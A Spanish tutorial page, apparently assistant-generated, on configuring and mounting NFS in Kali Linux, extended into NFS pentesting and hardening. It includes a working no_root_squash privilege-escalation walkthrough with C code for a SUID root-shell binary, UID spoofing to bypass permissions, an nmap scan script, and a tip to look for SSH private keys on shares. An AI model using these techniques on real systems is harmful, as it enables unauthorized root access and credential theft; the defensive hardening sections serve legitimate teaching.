NFS en Kali Linux: Configuración y Uso

https://www.onlinetis.com/es/

NFS en Kali Linux: Configuración y Uso

Parece que estás buscando cómo gestionar servicios NFS (Network File System) en Kali Linux. Básicamente, esto te permite compartir carpetas entre máquinas a través de una red, lo cual es súper útil tanto para administración de sistemas como para ciertas fases de un pentest.

En Kali (y en cualquier distro basada en Debian), el paquete que necesitas no se llama exactamente nfs-utils como en Red Hat/Fedora; aquí el paquete principal es nfs-kernel-server.

Aquí tienes una guía rápida para ponerlo en marcha:

1. Instalación

Primero, asegúrate de que tu sistema esté al día e instala los paquetes necesarios:

Bash

sudo apt update
sudo apt install nfs-kernel-server

2. Configurar las Carpetas Compartidas (Exports)

Para decirle a Kali qué carpetas quieres compartir, debes editar el archivo /etc/exports.

Abre el archivo: sudo nano /etc/exports
Añade una línea siguiendo este formato:
[ruta_carpeta] [IP_cliente](opciones)

Ejemplo:

Para compartir /home/kali/compartido con toda tu red local y dar permisos de lectura/escritura:

/home/kali/compartido 192.168.1.0/24(rw,sync,no_subtree_check)

3. Iniciar el Servicio

Una vez guardado el archivo, debes aplicar los cambios y activar el servidor:

Exportar las carpetas: sudo exportfs -a
Iniciar el servicio: sudo systemctl start nfs-kernel-server
Habilitarlo al arranque: sudo systemctl enable nfs-kernel-server

Comandos Útiles de Diagnóstico

Tarea	Comando
Ver qué carpetas estás compartiendo	`showmount -e localhost`
Ver quién está conectado a tus recursos	`ss -tnp
Reiniciar tras cambios en la config	`sudo systemctl restart nfs-kernel-server`

Ojo con la seguridad: Por defecto, NFS no es el protocolo más seguro del mundo. Si estás en un entorno de auditoría, recuerda que exponer servicios NFS sin restricciones de IP puede permitir que cualquiera monte tu sistema de archivos.

Montar una carpeta remota es incluso más sencillo que configurar el servidor. Para esto, en el lado del cliente (la máquina desde la cual quieres acceder a los archivos), solo necesitas tener instalado el paquete nfs-common.

Aquí tienes los pasos para hacerlo de forma manual y rápida:

Cómo montar un recurso NFS

1. Preparación

Asegúrate de tener las herramientas necesarias e instala el paquete si no lo tienes:

Bash

sudo apt update && sudo apt install nfs-common -y

2. Crear el punto de montaje

Debes crear una carpeta local donde "aparecerán" los archivos remotos:

Bash

sudo mkdir -p /mnt/remoto_nfs

3. Ejecutar el montaje

Usa el comando mount especificando la IP del servidor y la ruta de la carpeta que él está compartiendo:

Bash

sudo mount -t nfs [IP_DEL_SERVIDOR]:/[RUTA_REMOTA] /mnt/remoto_nfs

Ejemplo real:

Si el servidor es 192.168.1.50 y comparte /var/www/html:

sudo mount -t nfs 192.168.1.50:/var/www/html /mnt/remoto_nfs

Verificación y Desmontaje

Para verificar: Ejecuta df -h o mount | grep nfs. Deberías ver la unidad listada al final.
Para desmontar: Cuando termines, usa sudo umount /mnt/remoto_nfs.

Tip de Pentesting (Kali Linux)

Si estás auditando una máquina y sospechas que tiene NFS abierto, puedes usar este comando para ver qué carpetas "exporta" antes de intentar montarlas:

Bash

showmount -e [IP_OBJETIVO]

Para que la carpeta se monte automáticamente cada vez que reinicies tu Kali (y no tengas que escribir el comando mount manualmente cada vez), debemos editar el archivo de configuración del sistema llamado /etc/fstab.

Sigue estos pasos con cuidado, ya que un error en este archivo puede causar problemas al arrancar si el servidor no está disponible:

1. Editar el archivo fstab

Abre el archivo con privilegios de superusuario:

Bash

sudo nano /etc/fstab

2. Añadir la línea de configuración

Ve al final del archivo y añade una nueva línea con el siguiente formato:

[IP_SERVIDOR]:/[RUTA_REMOTA] [PUNTO_MONTAJE_LOCAL] nfs defaults,_netdev 0 0

Ejemplo práctico:

Si el servidor es 192.168.1.50, la carpeta remota es /datos y tu carpeta local es /mnt/remoto_nfs:

192.168.1.50:/datos /mnt/remoto_nfs nfs defaults,_netdev 0 0

Nota sobre _netdev: Esta opción es crucial. Le dice al sistema que no intente montar la carpeta hasta que la red esté activa, evitando que el arranque se quede "congelado" buscando el servidor.

3. Probar la configuración

Antes de reiniciar, es vital comprobar que no hay errores. Ejecuta:

Bash

sudo mount -a

Si no aparece ningún mensaje de error y puedes ver tus archivos en /mnt/remoto_nfs, ¡felicidades! Todo está configurado correctamente.

Consideración de Seguridad (Pentesting)

Si estás usando Kali para una auditoría y el servidor NFS permite "root_squash" (que es lo común), no podrás escribir archivos como root en la carpeta montada, sino que tus permisos se "aplastarán" a los de un usuario sin privilegios (nobody).

Si ves un error de "Permiso denegado" incluso siendo root en tu Kali, es probable que el servidor tenga esta restricción activa.

Entender los permisos en NFS puede ser un poco frustrante porque, a diferencia de otros sistemas, NFS confía en los UID (User ID) y GID (Group ID). Si tu usuario en Kali tiene el ID 1000 pero el dueño de los archivos en el servidor tiene el ID 1001, no podrás editarlos aunque te llames igual.

Aquí te explico cómo diagnosticar y solucionar esto:

1. Identificar tu identidad en Kali

Primero, mira quién eres tú para el sistema:

Bash

id

Esto te devolverá algo como uid=1000(kali) gid=1000(kali).

2. Ver la identidad del dueño en el servidor

Ve a la carpeta donde montaste el recurso y lista los archivos con el ID numérico:

Bash

ls -ln /mnt/remoto_nfs

La columna de usuario y grupo mostrará números. Si ves que los archivos pertenecen al 1001 y tú eres el 1000, el servidor te rechazará la escritura.

Cómo solucionar problemas de escritura

Opción A: El "Truco" del Pentester (Cambiar tu UID)

Si tienes control total sobre tu máquina Kali y necesitas escribir en ese recurso, puedes cambiar temporalmente el UID de tu usuario para que coincida con el del servidor:

sudo usermod -u [ID_DEL_SERVIDOR] kali
sudo groupmod -g [ID_DEL_SERVIDOR] kali
Re-conéctate o reinicia la sesión.

Opción B: Configuración en el Servidor (Root Squash)

Si tú administras el servidor, revisa el archivo /etc/exports.

no_root_squash: Permite que el root de Kali tenga permisos de root en el servidor (muy inseguro, pero útil en laboratorios).
all_squash: Convierte a todos los usuarios en un usuario anónimo (útil para carpetas públicas).

Opción C: Permisos 777 (La fuerza bruta)

Si solo es para una transferencia rápida de archivos, puedes dar permisos totales a la carpeta en el servidor:

sudo chmod -R 777 /ruta/carpeta/compartida

Resumen de Montaje Seguro

Escenario	Recomendación
Uso diario	Coincidir UIDs entre cliente y servidor.
Pentesting	Buscar carpetas con `no_root_squash` para escalar privilegios.
Servidor Público	Usar `all_squash` y mapear a un usuario con pocos permisos.

Esta es una de las vulnerabilidades más clásicas y divertidas en entornos de red mal configurados. Si un servidor NFS tiene la opción no_root_squash activa, significa que el sistema confía ciegamente en el usuario "root" de la máquina cliente.

Aquí te explico cómo se ejecuta este ataque paso a paso para elevar privilegios:

El Escenario de la Vulnerabilidad

Imagina que has montado una carpeta compartida de una víctima y ves esto en su configuración (en el servidor):

/compartido 192.168.1.0/24(rw,sync,no_root_squash)

Esto es una mina de oro. Significa que si tú eres root en tu Kali, el servidor te tratará como root en su propia carpeta.

Pasos para obtener una Shell de Root

1. Preparar el "Caballo de Troya"

En tu máquina Kali (siendo root), vamos a crear un pequeño programa en C que simplemente lanza una terminal (/bin/bash).

C
// guarda esto como shell.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
    setuid(0); // Nos hacemos pasar por root
    setgid(0);
    system("/bin/bash");
    return 0;
}

2. Compilar y copiar al recurso compartido

Ahora, compila el código y muévelo a la carpeta que tienes montada de la víctima:

Bash

gcc shell.c -o shell_root
cp shell_root /mnt/remoto_nfs/

3. El paso clave: El bit SUID

Aquí es donde ocurre la magia. Como tienes no_root_squash, puedes asignar el permiso SUID al archivo desde tu Kali:

Bash

chown root:root /mnt/remoto_nfs/shell_root
chmod +s /mnt/remoto_nfs/shell_root

4. Ejecución en la víctima

Ahora, si logras entrar a la máquina víctima por cualquier otro medio (una shell normal de usuario), solo tienes que ir a la carpeta compartida y ejecutar tu binario:

Bash

./shell_root

¡Boom! Al ejecutarse con el bit SUID y ser propiedad de root, el sistema te dará una shell con privilegios máximos de administrador en la máquina víctima.

Cómo defenderse (Hardening)

Para evitar que te hagan esto a ti, la regla de oro es nunca usar no_root_squash a menos que sea estrictamente necesario.

Usa siempre root_squash (opción por defecto).
Configura el firewall para que solo IPs específicas puedan ver el servicio NFS.
Si puedes, usa NFSv4, que tiene mejores mecanismos de autenticación (como Kerberos).

Automatizar el reconocimiento es clave para no perder tiempo en auditorías manuales. Un buen script de escaneo para NFS debería hacer tres cosas: descubrir hosts con el puerto 2049 abierto, listar sus carpetas compartidas y verificar si tienen opciones peligrosas.

Aquí tienes un script en Bash que puedes guardar como check_nfs.sh.

Script: Escáner de Vulnerabilidades NFS

Bash
#!/bin/bash

# Comprobar si se pasó una IP o rango como argumento
if [ -z "$1" ]; then
    echo "Uso: $0 <IP_o_Rango_de_Red>"
    echo "Ejemplo: $0 192.168.1.0/24"
    exit 1
fi

TARGET=$1

echo -e "\n[+] Iniciando escaneo NFS en: $TARGET"
echo "------------------------------------------"

# 1. Buscar hosts con el puerto 2049 (NFS) abierto usando Nmap
nmap -p 2049 --open -oG - $TARGET | awk '/Up$/{print $2}' > targets.txt

if [ ! -s targets.txt ]; then
    echo "[-] No se encontraron servidores NFS abiertos."
    exit 0
fi

while read ip; do
    echo -e "\n[*] Host encontrado: $ip"
    
    # 2. Listar carpetas compartidas (Exports)
    echo "[?] Carpetas compartidas:"
    showmount -e $ip --no-headers
    
    # 3. Usar scripts de Nmap para detectar malas configuraciones
    echo "[?] Verificando configuraciones (no_root_squash, etc):"
    nmap -p 2049 --script nfs-showmount,nfs-ls,nfs-statfs $ip | grep -E "root|uid|gid|Anonymous"
    
done < targets.txt

# Limpieza
rm targets.txt
echo -e "\n[+] Escaneo finalizado."

Cómo usar el script

Dale permisos de ejecución:
chmod +x check_nfs.sh
Ejecútalo sobre tu red:
./check_nfs.sh 192.168.1.0/24

¿Qué buscar en la salida?

Si el script te muestra algo como no_root_squash o ves que una carpeta compartida tiene permisos para Anonymous, tienes un camino directo para intentar el ataque que vimos antes.

Un último detalle: `nfs-ls` de Nmap

Nmap tiene un script interno muy potente llamado nfs-ls. Si lo ejecutas, puedes ver el contenido de las carpetas sin siquiera montarlas. Es genial para buscar archivos sensibles como .ssh/id_rsa o archivos de configuración de bases de datos antes de decidir si vale la pena atacar ese host.

nmap -p 2049 --script nfs-ls [IP_OBJETIVO]

Proteger tu propio sistema Kali es fundamental, especialmente si lo usas en redes desconocidas o durante auditorías, ya que podrías convertirte en el blanco. Como vimos, NFS es un protocolo que confía mucho en la red, así que la protección se basa en cerrar puertas y limitar la confianza.

Aquí tienes los pasos esenciales para blindar tu servicio NFS:

1. Desactivar el servicio si no lo usas

La mejor protección es no tener el servicio corriendo. En Kali, a veces algunos servicios se inician por defecto o tras una instalación.

Detenerlo: sudo systemctl stop nfs-kernel-server
Deshabilitarlo al arranque: sudo systemctl disable nfs-kernel-server

2. Configuración Segura de `/etc/exports`

Si necesitas compartir carpetas, nunca uses configuraciones permisivas. Edita tu archivo sudo nano /etc/exports y asegúrate de:

NUNCA usar no_root_squash: Asegúrate de que diga root_squash (esto viene por defecto, pero confírmalo). Así, si un atacante entra como root en su máquina, en la tuya será un usuario sin privilegios.
Limitar por IP: No uses asteriscos (*). Especifica la IP exacta del cliente.
- Mal: /carpeta *(rw)
- Bien: /carpeta 192.168.1.50(rw,root_squash)

3. Usar el Firewall (UFW)

Kali no trae el firewall activo por defecto. Debes restringir quién puede siquiera intentar conectar al puerto 2049.

Bash

sudo apt install ufw
sudo ufw default deny incoming
sudo ufw default allow outgoing
# Permitir NFS solo desde una IP de confianza
sudo ufw allow from 192.168.1.50 to any port 2049
sudo ufw enable

4. Forzar NFSv4 (Más seguro)

Las versiones antiguas (NFSv2 y v3) son mucho más vulnerables y dependen de servicios adicionales como rpcbind que dan mucha información a los atacantes. NFSv4 es más moderno y fácil de filtrar por firewall.

Para desactivar versiones viejas, edita /etc/default/nfs-kernel-server:

RPCNFSDOPTS="-N 2 -N 3"

RPCMOUNTDOPTS="-N 2 -N 3"

Resumen de "Hardening" (Endurecimiento)

Medida	Por qué es importante
root_squash	Evita que un cliente obtenga privilegios de root en tu máquina.
_netdev	(En el cliente) Evita que el sistema se cuelgue si el servidor cae.
Filtrado por IP	Evita que cualquier persona en la WiFi vea tus archivos.
Desactivar rpcbind	Evita que comandos como `showmount` den información de tu estructura de carpetas.

Un último consejo de seguridad:

Si alguna vez necesitas transferir archivos de forma puntual entre máquinas Kali, es mucho más seguro usar SCP o SFTP (basados en SSH) que configurar un servidor NFS, ya que SSH cifra todo el tráfico y maneja mejor las contraseñas.